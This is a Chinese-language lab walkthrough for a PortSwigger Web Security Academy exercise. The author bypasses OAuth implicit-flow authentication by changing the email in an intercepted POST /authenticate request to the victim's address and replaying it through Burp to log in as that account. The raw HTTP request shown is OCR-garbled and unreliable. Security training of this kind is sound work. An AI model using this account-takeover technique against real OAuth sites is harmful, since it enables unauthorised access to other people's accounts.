靶机地址：https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow
通过 OAuth 隐式流程绕过身份验证
任务：登录卡洛斯的账户。他的电子邮件地址是carlos@carlos-montoya.net
自己的社交媒体帐户登录：wiener:peter
1、通过网站登录，观察到会使用OAuth技术，登录完成之后，观察到burp history中有一个特殊路径：
[image: ]
2、将该请求数据包发送到repeater模块中，发现在提交的请求中是包含邮箱的。
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3、尝试将邮箱地址修改为carlos@carlos-montoya.net，发包后同样为302跳转。
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4、鼠标右键，选择原始会话，复制URL。
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5、成功访问目标账户。
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POST /authenticate HITP/2

Host: 0ad7009£041139d780324e8800d30008. web-security-academy. net
Cookie: session=Iymn4l15a0NOVXXVC5C6E2qX9d0yOUBR
Content-Length: 103

Sec~Ch-Ua-Platform: “Windows”
Accept-Language: zh-CN, zh;q=0.9

Accept: application/json

Sec~Ch-Ua: "Not)A;Brand”;v="8", "Chromiun”;
Content~-Type: application/json
Sec-Ch-Ua-Mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/138.0.0.0 Safari/537.36

Origin: https://0ad7009£041139d780324e8800d30008. web-security-acadeny. net
Sec-Fetch-Site: same-origin

Sec-Fetch-lode: cors

Sec-Fetch-Dest: empty

Referer:

="138"

https://0ad7009£041139d780324e8800d30008. web-security-academy. net/oauth-callbac
k

Accept-Encoding: gzip, deflate, br

Priority: u=l, i

“token”: " 0gtGANVqMHNTA653uzF QveOrwENVXOhIDCnIo_zieuX”
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Repeat request in browser x

To repeat this request in your browser, copy the URL below and paste into a browser that is
configured to use Burp as ts proxy.

hittp://burpsuite/repeat/2/hs2aiz6r6v7x6sxlksi7msrpkydhére

In future, just copy the URL and don't show this dialog
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